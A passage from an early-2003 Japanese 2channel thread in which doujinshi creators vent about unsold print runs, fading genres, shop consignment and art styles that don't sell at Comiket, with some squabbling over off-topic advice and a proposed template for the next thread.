杉の木1本燃やすつもりだったみたいだからそのまま燃えると思ったんだよ。
用事があったからそのまま出かけてしまったけど、中を見たのか恐くてきけなかった。
あんなエロエロ本焼かせてごめんパパ。
403名無しさん@どーでもいいことだが。:03/01/18 14:42 ID:JqCr8AbU
>>402
子供が漫画を描いたと聞いて、興味深々でない親はオランので、
間違いなく中は見られている、に一票。
>>402
杉の木一本燃やせるお庭か…。
漏れの在庫も燃やして。
折れも売れ残った在庫がまだ1000部近くあるよ
そろそろ置く場所も無くなってきたので
毎週資源ゴミの日に小出しにして処分するか・・・
最近同人辞めたんだが、
最後のコミケで新刊を300部刷って、100しか売れなかった…。
それまで100部からだんだん部数をふやして完売していて、
ジャンル的にのってきてると読みを誤ってしまった。
がんばれば完売の見込みはあるだろうというジャンルだけど
忙しいし、知り合いにも会いたくないし、もうイベントに参加する気がない…。
西翼のお世話になろうかな…。
書店委託すれ!
>>399
それって値段で完売したって事だよね。
買うかどうかの最終判断って結局財布と相談だよなー
欲しくても金足りなかったら買えないんだし。
>408
千部単位で刷ってるとこが、印刷代によりけりで単価を変えたり
しないぞ。数百部でもしないよなあ。
印刷代次第で単価考えるのは元が取るか取れないかの小部数だけだよ。
でも元が取れない小部数でも、赤字で結局相場にしたりするもんだよね。

399は印刷の良し悪しの話をしてるんだと。
↑単価じゃないや、売価。
>>409
>408はおそらく>399の「手抜きで安くて汚い印刷の本」というのを
印刷代が安いのではなくて、本の値段が安いと読んだのだと思われ。
実際399の書き方だとどっちともとれるし。
(´‐`)。oOなんで399じゃないのに(r

気負わないでさらっと作った本が受けて、丁寧じっくり作った本はイマイチだったってのも
よくある話だな。
一度手抜きやると、結構リピーターに響くよ。特に売れてるところほど
「あいつも変わっちまったよな」と思われかねない。
もはや地元イベントでは売る相手が決まってしまっているので5冊程度しか刷って行かない。
ジャンルも斜陽だし字書きだしコス目的で参加してる人間多数だし部数伸びるなんて有り得ない。
コミケに委託してもらうときだけオフ二桁刷って満足してます。

やる気が足りないんだろうか、私。
>>414
無我の境地に達したモヨリ。
適正な数ってのが自分では判らないんだ。
印刷所の料金がまた、一塊り 部数を増やしてもそれほど(本当はそこが
デカイんだろうが)変わらないようにウマク設定してあって、つい予定より
も多めに刷っちまう。(w;
それに世間の評価はどうでも、本人としては それなりに自信があったから
販売する訳で、"もしかしたらけっこう売れるんじゃないか"って夢はついつい
見ちゃうんだよな…(w;;;;;
昨日地元逝ってキマツタ。やはり私のジャンルはうちだけ。
もうだめポ、と思ってたらギャグ本をスペースの前で大笑いして
買ってくれた子がいた。
今日売れたのはそのギャグ本3種X1部だったが

す ご く 幸 せ な 気 分 に な り ま つ た

こんなに大受けしてくれたのは久しぶりだったので
帰りの車中で友人と涙したよ!

アリガト。モウスコシガンバッテミル・・・
>416
その気持ち分かるよ。
基本外の、たとえば特殊紙なんかに凝らない限りは、
ほんの数千円で100増えちゃうんだよねー。

金額はさておき、その残った在庫を見るのが辛いんだな……。

昨日は、ガ竹から帰ってきた委託の重さにプチすさみ。
マイナージャンルだけど、新刊もあったから、ちょっと期待してたんだけど、
合計で9冊しか売れてませんでつた。

夢ばっかり見ないで修行しよう……
書店委託、断られました。
家にあるこのダンボール3箱。どうすんべ。
もう斜陽ジャンル認定されたのかね……。
>418
絡んでスマソ。>414なんでつが。
当方の地元イベントというのがまさにガ竹。
直参でもマイナー・斜陽はこんなもんでつ……でも良かったら、懲りずに委託してください。
毎回委託コーナー見に行くの楽しみにしてますので。
421418:03/01/21 02:03 ID:RGMSlvW6
>420
レスありがd。
直参できない身としては、カタログ見てると盛り上がってるのかなーって思ってましたが、
やっぱり、マイナー系は厳しいのでつね。

スペース代や送料考えると、圧倒的に赤字ではありますが、
ちょこっとでも売れてくれるって言うのは、やっぱりすごく嬉しいので、
斜陽になりつつある我がジャンルですが、
またたま〜に参加しようと思ってまつ。
420さんも良い本作ってください。
画竹に委託したら本命ジャンルの本は各種2冊しか出なかった…
浮気マイナージャンルの本は完売した…
斜陽ジャンルの宿命とはいえ…微妙にくやすぃ
自分はガ竹に飛翔上昇中とゲーム斜陽の本を委託したら
帝都じゃもう動かない斜陽なはずのゲーム本が完売してビクーリしたよ…
飛翔本は余った。
地方の流行は1〜2年遅れてるというのは本当だと実感した。
すごい勢いで斜陽化の進むMYジャンル。
常連客はついてるけど、売上は始めた頃の半分以下。しかも緩やかに下降気味。
売上が減ってるのはジャンルが斜陽だからか、書く物がつまんなくなってきてる
のか…。
消えた常連さん達教えてプリーズ!
他にもっとおもしろい作家見つけて優先順位下げられたんだよ、きっと
>423
逆に、描き手がいなくなってるという理由で売れてる可能性はあるかもよ。
ゲームってアニメなんかにくらべりゃ、全国的に流行に差がないと思うし
(確かに半年くらいは確実に遅い気もするけど……)。

が竹、久しぶりに出してみようかなぁ。
斜陽の頃、余りにもアレな売り上げに委託ヤメタんだけど、
東京・大阪ではウンともスンともいわなくなった在庫を何とかしたい。
わらにもすがる思いだ……。
「ジャンルやカプが斜陽だから売れない」と考えるなら、売れたときは「ジャンルやカプが
売れ線だっただけ」ということになる。(売れたときだけ自分の実力ってのは調子が良すぎ)

「売れないのは、内容・売り方を含めて、自分の力が足りないから」。
そう考えて精進するのが良いんじゃないかと思う。
「読者の絶対数」ってのは必ずあるけどね。
オリジナルか、自分自身がブランドでもない限り…
>427
>売れたときだけ自分の実力ってのは調子が良すぎ

でもジャンルの力にプラスして実力もなきゃ売れないわけよ。
ジャンルと実力は足し算じゃなくてかけ算だから。
逆にジャンルがいくら凄くても実力がなきゃジャンル効果なんか微々たるものだよ。

精進にはげむのには賛同だけど、実力がすべてと思い込むのも危険。
客観的な視点ももっておこうよ。
適正部数を見抜くことができれば悲しむ人も多少は減るんだし。
とりあえず、が竹に委託するときは
必ず閲覧見本誌を添付しる!
見本誌は、必須じゃないが、売上が全然違うぞ。
ガ竹スレはここですか?
>428-429
はげあがり同意。

>「売れないのは、内容・売り方を含めて、自分の力が足りないから」。
この考え方、有る意味危険ともいえるよ。
マイナージャンルで活動しているかなり(゚д゚)ウマーな子がいたんだけど、
「頑張っても頑張っても売れないのは、自分には才能がないから」とか思い詰めちゃって、
結局同人やめちゃったよ……。
ジャンルが売れゆきを左右する大きなファクターなのは事実なんだろうけど、
売れないのはジャンルが原因みたいな話が多いとちょっと引くよな。
どのくらい需要があるのかさーぱり分かんないバアイはどうなんざんしょ
ジャンルやカプが斜陽でも売れる人は斜陽なりに売れているもんだ。
や、でも
>「頑張っても頑張っても売れないのは、自分には才能がないから」とか思い詰めちゃって、
こういう人は同人やめて正解じゃない?
売りたいんだったら上手い事+営業努力やら現場リサーチは必要だと。
単なる斜陽とマイナーは違うとオモ。
もう最初からそんなジャンルがあるなんて認識もされてないような
ジャンルにどんなに上手い人がいたって埋もれちゃうよ…そこでは
上手ければ多少は売れる、なんて道理は存在せん。
要するに、上手いだけじゃだめで最低限の現場リサーチは必要って
ことだがなー。
ひと昔前に比べると、欲しい作家・ジャンル以外の本もチェックしてくれる買い専の人が
本当に少なくなったと思うよ。

事前にチェックした欲しい物件を回ったら、イベント終了まで時間があってもさっさと帰っちゃうんで、
下手すると午後1時ぐらいから会場がガラガラになるイベントとかあるし。
座ってるのは嫌いじゃないからいつも終了時間まで居るけど、なんか寂しいかも。
でも売れる為に描きたくもないジャンルをやる方が辛くないか?
同人の楽しみから外れているような気がする…。
そのジャンルを本当に好きな人も金儲けの為だけに来られたら嫌だろう。
ジャンル自体の知名度ってのは大きいかもね。
あると思わないものはそもそも探しもしないしさ。
>>436
営業努力やら現場リサーチ以前に性格的に同人向きでなかったと思われ。
嗜好がマイナージャンル方面なら、売れないことで思い詰めるってのは辛い。
せめてメジャージャンルならなんとかなるかもしれないが。
>441
そうだね。嗜好がマイナー指向なら、売れなくてもそれを描く
事そのものに楽しさを感じられるタイプじゃないと。
逆に考えると、好きじゃないものを描いても、売れる事に楽しさを
感じられるタイプの人は、たとえ描きたくもないジャンルでも
楽しいんだろうなあ。
初めて本を出したときは一冊売れただけですごく嬉しくて、一回のイベントで売上
1桁でも全然気にならなかった。むしろ本を出すだけで楽しかった。
最近は「一冊でも本が売れる嬉しさ」より「残った本の悲しさ」ばかり気にするよ
うになってる。
初心を思い出してがんがらないとな…。
今度は人気の出る作品にハマりたいなーと思いつつ、毎度毎度コミケでも
うちともう1サークルあるかどうかぐらいのドマイナーな作品ばかりに
夢中になってしまって初見の人でもこの本をきっかけにこの作品を知ってくれ!
ってな感じでエロ・健全分け隔て無く作ってます。(笑)

コミケでも3桁は至難の業なぐらいの売上げだけど読んだ人から
「いい本ですね〜愛情が伝わってきます」と言われるのが救い。

ええ、好きでやってますから!

でもホント売れないんだよなぁ…(涙)
>>440
過去スレにも書いたことなんですが……
「そんなジャンルがあるとは誰も知らない」ようなジャンルの本を
出してしまったときは、人通りの多いメジャージャンルの友人スペースに
委託させてもらうと、「へー!こんなジャンルの本があるの!?」って
手に取ってもらえたりします。
あと、通販情報誌に送りまくる。やおいならボーイズ誌の同人コーナーにも。

そういうことを続けていると、やがてそのジャンルが「なんとなく好き」だった人の
目にも触れるようになり、リピーターさんがつくようになりました。
自分はマイナーメジャー関係なく大きなイベントでも
総売上1冊とかでかなりへこんでます…
自分の実力とかの問題だけどやっぱり作っても
手にとって貰えずに居るのは正直悲しです。
知人や同じ頃参加してた人がどんどん大きくなって
商業誌とかに出て凄いな〜なんて思ったりして…
それでも10年近くやってるのは好きな事だからだけど
帰り一人で売れない本抱えて帰るのは悲し過ぎる(笑)
オフも弱気に最低部数だしな…50部なんてもう…怖
>446
別に今のままで良いのなら構わないと思うけど、もっと売りたいと思うなら、その知人さん
とかに助言を仰いでみたら?
自分の本のどこが悪いのか、特に漫画描きさんとかなら、結構明確に指摘してもらえるん
じゃないかな。
小説書きさんとかも、作風と言える部分以外(構成とか文章力とか)なら読者にも言える
はずだし。
十年近くやってるってことは、ある程度作風とか確立しちゃってると思うし、言われるの
屈辱かもしれないけど、そこはぐっと堪えて頑張ってみたら?
当方今はオンメインだから売り上げって形には出てないけど、いただく感想に出たよ。
やってみて無駄にはならないと思うよ?
448名無しさん@どーでもいいことだが。:03/01/23 23:26 ID:Ijsd+3EK
>446
十年近くやってて知人さん達がそんなに大きくなってゆく中、ジャンル関係なく
総売上が1冊って、なにかおかしいと思う…。

失礼だとは思うけど、マイナーならまだしもメジャーに居たらある程度、
絵が上手ければ少なからず出るはずだと思うのは私の考え方が極端
過ぎるんでしょうか。 すみません。

447さんじゃないけど、自分の漫画の悪いところ、変なクセが少しでも
わかるなら、前回出した本を手元に置いて改善すべき点を1点に絞って
少しでも直す努力などをすればどうでしょう。

話の作り方とかは難しいけど、絵的なところであれば少しは良くなって
いくのでは…と。
小説書きの方だったらスミマセン…。(自分絵描きの為そっちの立場でしか…)

それでも、一人の目には止まってるんだから、頑張ればもっと目に止まる様に
なると思います。頑張って。
絵って、正直評価がむつかしいよ…
商業以上に絵柄のハヤリすたりもあるし、ストーリー(あればだけど)との絡みもある。
かくいう私はまだ同人初めて3年ほどなんだけど、イベントで1部とか2部とかザラだよ。
売れても10部止まり。
プロでもう15年くらい描いてるので、「絵がマズイ」ってことはないと思うんだよね。
(実物を見せずにこんなこといっても意味ないのはわかってるけど
webでも「ステキです」以外の感想を貰ったことないし
(批判はそもそも口にしないものだ…というツッコミは、この際なしね)
イベントでも遠くから若い子に「キレイー」とかいわれてるんだよね。なぜか遠くから見てるだけで、
近づいて手にとってはくれないんだけど)
ストーリーも。
でも売れない。
きっと欲しくなるような絵柄やストーリーじゃないんだろうなと思ってます。
>446
案外、売り方にもマズイ部分があるのかもよ?
机の上が雑然としすぎてるとか、在庫の積み上げすぎとか。
小説サークルだったら表紙からジャンルが読み取れなくて
手にとって貰えてないとか。
値札の字が小さくて見えにくいとか。
売り子が売る気も無さそうに座ってるだけじゃ売れないってこともあるし、
逆にやたらに声をかけすぎて売れないってこともある。

作品の良し悪しも当然あるけれど、売り方次第な部分もあるから、
ちょっと回りの売れてるサークルを観察して、動向を見てみるのもいいかも知れない。

ちょっと目に付くように看板立ててみるだけでも変わったりするもんだよ。
ガンガレ。
>>449
もしかして地方の人? 地方によっては本は売れなくて
グッズばかりとききますが。

東京なら、プロなのに売り上げ一部ってありえないと思うのだが。
本が法外に高いとか、知人でいっつもスペース前が塞がってるとか、
申し上げにくいが売り子さんがよっぽど近寄りがたい空気とか、
大声で呼び込みやってて逆にバリア張ってるとか、
なにかそれくらいのものすごい問題がない限り、
手にも取られないってないだろう、普通。

差し支えない範囲でいいので、
どの辺のジャンルの本を何ページいくらで売ってるのかきいてみたいのだけど。
東京でゲームで本のお値段はだいたいp×10端数切り上げってとこ…
ちなみにたいして知人もいないのでスペース前が塞がるってコトはないです。
売り子もいねえ…てか、必要なし。私一人参加。
呼び込みはやりません。スペース前で立ち止まられれば、「よろしければご覧下さい」っていうくらい。
あと、手にも取られないってことはないんよ。
何人かは手にとってくれます。でも10人いないけど(ニガワラ
やはし「読者の要求と合致していないのだ」と…

プロといっても無名だし、それを喧伝してもいないので、
プロだということが売り上げに影響するとは思っていません。
つまり買い手にとっては私はいち同人者でしかない。
ただ、読んでくれた人に「実は商売で描いてるんです」といえば、
必ず「ああやっぱり」とはいわれる…
>452
東京でゲームで3年…ものすごくマイナーなゲームなのでしょうか。

正直「こんなジャンルがあると思わない」ジャンルにも2種類あって
「同人であると思わないけど知名度はある」ジャンルならまだしも
「同人であると思わないしそもそも知らない」ジャンルは心底痛い。
よくゲームだとそういう目にあいますがな。
ためしにジャンルがえしてみるのもオススメかも。
気持ちはすっごく判るんだけどさ…
そろそろスレ違いじゃないの?
ここは売れない悩みを相談するスレじゃないだろう?
まぁ、もともとはそういうつもりで書き込んだじゃないんだろうけどさ。
売れない悩みはピコスレに逝ってしろよ。
常々思っていたが、時々「売れない悩み」のスレ違い相談が発生することがあるんだったら
いっそ独立してスレ立てしちまったらどうなんだろう…。イラネ?
>>455
それはジャンル的には同人ノウハウだな。
板違いになりそう。
>455
私はあると嬉しいかも。ノウハウ板でもいいけど、
こっちでもよさそうな。
売れない理由を自分なりに考えて、本当に悩みを解消しようとしているなら
レイアウトスレとか、価格スレとか、技術系のスレとかで個別に相談できる。
うれないーかなしいーってうめいてるだけなら、それは普通に愚痴なんじゃないか?
ここは愚痴スレなんだからそれはそれでいいと思う。
問題は愚痴を聞いた後に、相談にのってあげるちゃんが
お悩み相談室方向に持っていくことだと思うんだが。
「うれないー」→「たいへんだねー、がんばれー」、もしくはスルーならいいけど
「うれないー」→「こうしたら売れるんじゃない?」ってするから相談になっちゃう。
>452の気持ちがよく分かるよ・・・
私も職=絵描きだった事もあったし、ゲームジャンルだった事もあったけど
極端に売れなかったからなあ。

ゲームジャンルは流行り廃りが激しい。
若い子が多いので、若い子ウケしないと売れない場合が多い。
キレイ・丁寧だけじゃ駄目なんだよな。
売り子の雰囲気で売上が左右されるってのもあるし。

私は発行物は全部、いつでも小部数・もしくはコピーにして
「書きたいものを書く!」「買い物を楽しむ」っていう方針に変更したよ。
コピー→売れない の無限ループだけどな!・・・アヘヘヘヘ
>若い子が多いので、
確かに社会人になったら自然とゲームしなくなったな…
マンガ、アニメは見ようと思うが、ゲームソフト買うのは食指が動かないというか。
自ジャンルのゲームが何本も出ているが無くてもいいやと思うし。
工房の時は客が居ないってだけでスペースに近寄りたがった。
うちゲームジャンルだけど年齢層高いよ。むしろ若い子少な目。
特に20代後半とかは黄金期のRPGゲーム世代だし、いまだに
ゲーマーって人多い。それでも最近ゲームしてないって人増えた
けどね。
むしろ10代あたりのほうがゲーム離れが進んでるのかと思ってた。
>458
>問題は愚痴を聞いた後に、相談にのってあげるちゃんが
>お悩み相談室方向に持っていくことだと思うんだが。

禿同。まさしくその通りだと思う。
それから相談スレはここにあってもいいと思うけどな…
でもれだとピコスレと被る気がするけど
ピコもべつに相談摺れなわけじゃないんでつが。


当方コミケでも3サークルもありゃ凄いなってくらいのマイナージャンルでつ。
同人なんて売れなくてもいいさ!趣味だしな。自己満足だしな。書きたいモノを書くだけさ。
でも買ってってくれた人への深い深い感謝は忘れないさ。
……そう覚悟は決めていましたがね。さすがにシティで1冊も売れなかったときは虚しかったさ…スサ
かちゅから何故か見えないな、同人ノウハウ板。
http://comic2.2ch.net/2chbook/

「売れない」に関する相談&向上スレは、こんなあたりか?

★ピコ手専用★売り方見せ方アイデア集!
http://comic2.2ch.net/test/read.cgi/2chbook/982561743/

コミケで販売実績ゼロ
http://comic2.2ch.net/test/read.cgi/2chbook/977064371/

ほかにもあるかもしれん。見つけた方いたらよろしく。
単なるグチでなく、リアルな向上相談なら、これ系のスレに誘導するのはどうよ。
あとは新スレ立てるときがあるなら、テンプレ作っとくとか。
テンプレ案は一応>>139で出ているんだが、
これを改良して次スレに供えておきましょうか。

テンプレ案
--------------------------------------------------------------
タイトル:本が売れない悲しさ(その8)

ピコ〜大手まで。
思ったよりも本が売れなかった悲しさ、切なさをマターリ語ろう。

※ここは愚痴吐きスレです。売れるノウハウスレではありません。
  『相談に乗ってあげるちゃん』はなるべくご遠慮下さい。
---------------------------------------------------------------
【誘導】
「売れない人たちにノウハウを授けたり、激励したいた方は下記にご移動下さい。
同人ノウハウ板。
http://comic2.2ch.net/2chbook/
★ピコ手専用★売り方見せ方アイデア集!
http://comic2.2ch.net/test/read.cgi/2chbook/982561743/

>>449
前にもこの人の愚痴見たことがある<プロ歴長くて売れない

上手いかもしれないけど、絵柄が古くてジャンルに合ってないのかも。
ジャンルよりも、むしろどういうプロなのか聞きたい。
漫画家なら、レディコミとか児童誌だと上手いけど
スルーされるのも何となくわかる気がする。
467名無しさん@どーでもいいことだが。:03/01/24 22:55 ID:djkobLZ+
結論:ジャンルを見抜く目こそ、最も重要な資質である。
==================================
=================/∧ =========/∧
===============/ / λ=======/ / λ      
=============/  /  λ====/  /  λ     
===========/   /  /λ =/   /  /λ      >>467はバカですか?
=========/    / / //λ    / / //λ    
=======/            ̄ ̄ ̄      \  
=====./                        λ  
====/         ( ̄)        ( ̄)    λ
===/           ̄            ̄      λ
===|                            / /|
==|              | ̄ ̄ ̄|       / //|
==|              |    |       /////
===|             /    |     / / ////|
===\           /     |    / / /////
=====\_         | ̄ ̄ ̄ ̄|   / //////__/
========\                   ミ/
>468
かわええのう。しかし自分は467に少し同意なのだった。
絵柄がコミケ市場に合わない人も結構居るが、それでも上手い人は
ジャンル中手くらいまでは行く。
ジャンル効果抜きにしてまったく売れない長年のプロってのは
それはそれでカナーリ興味惹かれるが
売りたいのなら今好まれている絵柄を研究して自分のマンガを少し変えるとか
出来るところから変えないとな。
自ジャンルでも絵のプロで左程売れない人見るよ。
プロ歴長いみたいだし、サイト見ても確かに上手いし誉められまくり。
で、本を買ってみたんだけど…上手いけど絵が古い。(ジャンルに合ってない)
「まんが」が下手。話はへぼん風。
プロだと言われれば頷ける上手さはあるものの、パロとしての魅力はなかった。
…なので449さんはもしやこの人か、と思ったけどジャンルが違うから別人。

どこのジャンルにも似たような話はあるんだなーとオモタ。
売れないっていう人は漫画をかいているのかな?
コミケとかで見本誌見せてもらうと全編イラスト+トークだけなのが
結構多くて驚く。私の場合プロ級に上手くてもイラストだけなら
買わない。
数字的には

エロゲ原画やライトノベル表紙>>>>>>>>>>>>一般向けプロ歴10年以上

本業でヲタのストライクゾーン外で良い球を投げていても
同人誌の売り上げにはつながらない罠
>>469
同意とかそういう問題じゃなくてスレ違いだっつー事だろう。
>>470
あんたもスレ違い。
>>471-472
「買わなかった理由」スレにでもお引き取り下さい。
http://comic2.2ch.net/test/read.cgi/doujin/1042275217/
テンプレ案
--------------------------------------------------------------
タイトル:本が売れない悲しさ(その8)

ピコ〜大手まで。
思ったよりも本が売れなかった悲しさ、切なさをマターリ語ろう。

※ここは愚痴吐きスレです。売れるノウハウスレではありません。
  『相談に乗ってあげるちゃん』はなるべくご遠慮下さい。
---------------------------------------------------------------
【誘導】
「売れない人たちにノウハウを授けたり、激励したいた方は下記にご移動下さい。
同人ノウハウ板。
http://comic2.2ch.net/2chbook/
★ピコ手専用★売り方見せ方アイデア集!
http://comic2.2ch.net/test/read.cgi/2chbook/982561743/
【内容】買わなかった理由スレPart3【装丁】
http://comic2.2ch.net/test/read.cgi/doujin/1042275217/
470のいうことは正論のようでいて実はちょっと違う。
プロは「今の絵」でメシを食ってるので、絵柄変えると今ある仕事を失う事もあるのよ。
100歩譲って絵を変えるとしても一朝一夕には変わらないし、その間絵が安定せず、やっぱり
仕事に影響する罠。
アリャゴメン
スレ違いだとイラついてる人はネタ振りすれ。
>476
だからコミ毛でパロ売りたいのなら
コミケの読者層に合わせて作っていかないとそりゃ売れないだろーよって事な。
カタログどこ見ても同じ絵ってのはそういう理由もある。

480名無しさん@どーでもいいことだが。:03/01/25 01:37 ID:gFI/1mdF
だからコミ毛でパロ売りたいのなら
コミケの読者層に合わせてジャンル選択していかないとそりゃ売れないだろーよって事な。
カタログどこ見ても同じ絵ってのはそういう理由もある。
481名無しさん@どーでもいいことだが。:03/01/25 01:41 ID:onkQ0TiQ
とりあえずありがちネタ書くのはやめよーぜ。
考えること皆同じかよ!と虚しくなってくる。
同人受けの絵ってほんとストライクゾーン狭くてな〜…
自分、けっこう青年誌系の絵で悪くないと思ってるのに。
ハンコで押したようなのでも萌え絵描く人のほうが受けがいいんだ
よな、やっぱ。
売れない悲しさ。
プロで同人やってる人って、売れなくてもいいし好きでやってるから
知ってる人だけ買えば?って感じで売れる努力とかあえてしないで、
マターリやってる人が多いんじゃないかな。

超忙しい人や偽名使わないといけない事情のある人もいいるけど、
売れたいならそれなりのものを描いて、それなりの告知をしないとだめかも。
現在は萌え系プロとしてやっている人のゲーム本を買ったことがあるけど
20ページ中、半分がイラスト(しかもラフ画)
残りがキライなキャラについてのトーク(好きなキャラは徹底ヨイショ)
オチもストーリーもない1ページ漫画(どちらかといえばポーズ集)
自分の考えるキャラの性格分析(しかしかなり的外れ)

「この人って絵はうまいけど読解力がないな」という感想しか持てなかったよ。

そんな本でも私よりはずーっと売れてるのが現実なんだよね・・・
>そんな本でも私よりはずーっと売れてるのが現実なんだよね・・・
……('A`)
そりゃ総合力で負けてるんだ
>>484
>そんな本でも私よりはずーっと売れてる

って、喪前も買ったんだろ。
>>482
>同人受けの絵ってほんとストライクゾーン狭くてな〜…
禿同。例えは失礼だけど、手塚治虫とか藤子不二夫とか石の森章太郎とか
高橋留美子とか漫画界では神様、天才扱いだけど、そういう絵を描く
素人が本出したとしても「ださい」の一言で片づけられるよね。
それでも女性向けでそこそこ売れてる人には「こんな絵で?」ってのもよく見かけるけど、
男性向けだと曲線的な絵が求められるから(いわゆる萌え絵ね)
絵が無個性化してしまうのも仕方ない。
だったら商業では大活躍できるんですか?
>>488
そりゃ例えが少し古すぎ。
つーかそれこそ「絵より内容」で業績上げた人ばかりじゃん。
(ネタとしてその絵柄にしてる人もいるけど)
例えば井上雄彦とか荒木飛呂彦や松本大洋は萌え絵じゃないけど
その絵のまま別ジャンルやオリジナルで同人誌出せば売れるんじゃないか?
それでも多分、流行りの萌え絵エロには負けるかもしれないけど。
留は古くないだろ。
今でもピンだもん。
後の3人(3/4?)はもう本当の神様だけど。
自分は488の話に同意。
490、本当にその人たち、「絵より内容」って思ってる?
絵も内容も読者のことを考えてるからこそ
「神様」として君臨したんじゃないの、その人たち。

いや、萌え絵じゃないとだめっていう買い手が多いから
488のいうような人たちが
もしもコミケに出ても売れないだろう、って
話になってるんだろうけどね。

井上や荒木を同次元で語っても…。
っていうか自分から見ると井上も荒木もかなり同人くさい風味が
感じられる。


ただひとつだけ難をいうと、高橋は同人出したら売れると思う。
自分にとっちゃ手塚先生も石ノ森先生も絵萌え十分出来るけどなあ。
時代のこともあるんだし、一概に言えないんでは?
古いと言ってしまえばそれまでだけど、でもあの方々の絵には、今の人たちが到底
敵わない味があるわけだし。

絵描きさんは売れる人と売れない人の差が顕著で大変だね。
字書きだから売れないのが当たり前みたいになっちゃってて、常連さんが来てくれれば
もういいやって思っちゃう。志低いな……
>493
小説だから売れないっていうのは違うと思うよ。
確かにマンガよりも売れ行きはよくないとは思うけどね。
へ(略なマンガサークルよりもずっと売れている小説サークルってあるし。
売れる努力もしないで小説だから売れないっていうのちょっとな…

これだけじゃ完全にスレ違うなので、スレにあった書き込みを。
来月の頭にオンリーがあるんだけど…
あまりにも規模が大きすぎて売れないと思うと鬱。
まるっきり売れないんだったら小説だからなって思えるんだけど(藁
そこそこ売れる中途半端さがすごく悲しい。
ま、嘗てヲタ系漫画の旗手だった吾妻ひでおの惨状を見れば判るだろう。
来月冒頭の巨大オンリーって言ったらもうジャンルバレバレでつよ。

あのジャンルの小説サークルって売れてるところでも
ろくなの読んだことないけど(エロ勝負を差し引いて、小説として)
原作自体がくされBLとリンクしてるような内容だし、
売れてるんならジャンル効果をありがたがるこってすな。
あのジャンルを一歩出た時点でホントの嘆きが始まると思うよ(藁
>496
私もジャンルわかったけど、何ゆえ496さんはそこまであのジャンルを
憎んでいるのか…。
>497
憎んでるジャンルの本って買います?
まぁこの世のどっかには「イタイもの見たさで買う」
暇な奴もいるんだろうけど。
>494
すみません。小説だからってのは確かにちょっと違いますね。
漫画と比べて、ということで。
最後二行思い切り蛇足でした。逝ってきます。
500494:03/01/25 19:10 ID:qZ5KpA56
>496
やっぱりジャンルバレバレでした?
でも私の場合は前ジャンルの方がぜんぜん売れました。
今はその頃の1/3です。
更に厨房ジャンルですけど私にっては愛しいジャンルです。

501494:03/01/25 19:17 ID:qZ5KpA56
脱字が・゚・(ノД`)・゚・

× 更に厨房ジャンルですけど私にっては愛しいジャンルです。
○ 更に厨房ジャンルですけど私にとっては愛しいジャンルです。

訂正ついでに…
>499
マンガと比べたらいけませんよ〜
比べるだけ、悲しくなります。
>494
上手い下手はともかくニーズにあってないだけですね。
ご愁傷様。
つーか、原稿描きにおわれて描きたいネタが追いつかない
漫画描きにしてみたら、あんたら小説書きの量産力の方が
数段羨ましいけどね。

「小説だから売れない」ネタは正直ウザイ。
小説書きスレッドにでもいってくれ。
どうでもいいけど、絵柄の話してるのに「小説はどうしたらいいの?」って
一々声をかけてもらうのを待ってる奴うざすぎ
505497:03/01/25 19:59 ID:5klUA7EK
判ったとか言って違ったかも…
年期が入ってるジャンルだから厨も寄り付かない(w

ってこれだけだとスレ違いなので…、
同じくらい愛情込めて書いてるけど、原作設定があんまり売れないのが哀しい…。
>「小説はどうしたらいいの?」
斧冬味くらい上手いの書けば売れるだろ。
503の言い方にモニョ
漫画でも量産できるよねー。失礼な話だよ。
月一で完成品出してる人も結構多いよ。
あなたの努力が足りないんじゃないの。

ああ、だからこのスレに来てるのか。そりゃ失敬。
なんだか一々突っかかる物言いするな、>496 CsyXGE+/
こういうヤシがもし自ジャンルにいたらと思うと怖えぇよ。
絶対いないがな。
+激しく脱線中…+
>508
そうか、だからお前もこのスレにいるのか(ゲラゲラ
そうだよ。私は完成品は量産できないから。
511も自分の世界が狭いから売れないんだよ。
ニーズにこたえきれない実力だから、大変だよね。

 ̄ ̄ ̄ ̄ ̄ ̄ ̄○ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄
           O 。
                 , ─ヽ
________    /,/ \ヾ\  / ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄
|__|__|__|_   __((´∀`\ )< というお話だったのサ
|_|__|__|__ /ノへゝ/'''  )ヽ  \_________
||__|        | | \´-`) / 丿/
|_|_| .从从从   | \__ ̄ ̄⊂|丿/
|__|| 从人.人从 | /\__/::::::|||
|_|_|///ヽヾ\ |./   :::::::::::ゝ/||
────────(~〜ヽ::::::::::::|/         = 完 =
>512
買い専ですが何か?
 ,――――――――――― 、
 | なんだよ、んじゃ      |
 |  ただの荒しじゃねーか  >  .へ           ヘ,
 `――――――――――― '   /  :::\       / : :\
                    /  ...:::.:.'‐―--/   .....::::ヽ
                   /                  :::::ヽ
                  /                     :::::i,    >>514
                 /   _        ,-    ),`=   ::::i.
                 !   - ヽ      /T;ヽ        .:::!
  ,_.,-,_              l    ̄`       .,,ヽソ       ..::::|
 ./-,}ノノ   /`i         !    i- ::,,,___             ..::::;/
 l <{_!...!,__ 人 l         丶   ヽ>ー--ニフ       ...::::;:'
 \ ´    `' .ノ          \  丶,,___/       ....:::::/
   `-- 、   ヽ)、           _\......      ,,,,,,,;;;;;/´ ./ ̄ ⌒\
    ( 丶;;,,_/ \       ./、二フ 、ー/⌒\-ー..i_ /;    .....::)
     丶::::..      \    / /  ●/`〈    :::\   ..,\::::, -ー''''''  ビ
       \:::.      \,/ /   / 〈   ::\   .::ヽ :   ヽ、
        \:..      /   /  /\.  :: ヽ    ,:',     .:::ヽ  /|  シ
         丶::.    /  ●    \ `:    _.ノ !,     ::i    >
           \::/    /       ヽ,_,,ー"‐:''  .:::!,     .::!     \ ッ
           /    //          \   :.:.:.:.::: !,  ....:;/\    ̄
               /:: /            丶   .:.:.::. `::ー '   )
スレ違い承知なんだが、女性向で言われてる
絵が古い、というのは上で出てきたような人達じゃなくて
昔の少女漫画風って事なんじゃないだろうか。
好きな人も多いだろうけど、パロ描くには不向きというか。。。
(ギャグなら面白いのもあるけど)
         +
      +         +     +
  +
.      / ̄\  +.  ∧_∧アハハハ  +
スレチガイ ( ´∀`)    (´∀` )  
ダッテバー (つ  つ     (つ  つ ツレタツレタ
.   +  ( ヽノ      ( ヽノ        +
      し(_)      し(_)



  (⌒\ / ̄\  +
   \ヽ(  ´A` )  ブッコロヌゾテメ 
    (m   ⌒\        +
 +    ノ    / /   +
     (   ∧ ∧ 
   ヘ丿 ∩Д` )         +
   (ヽ_ノゝ _ノ   
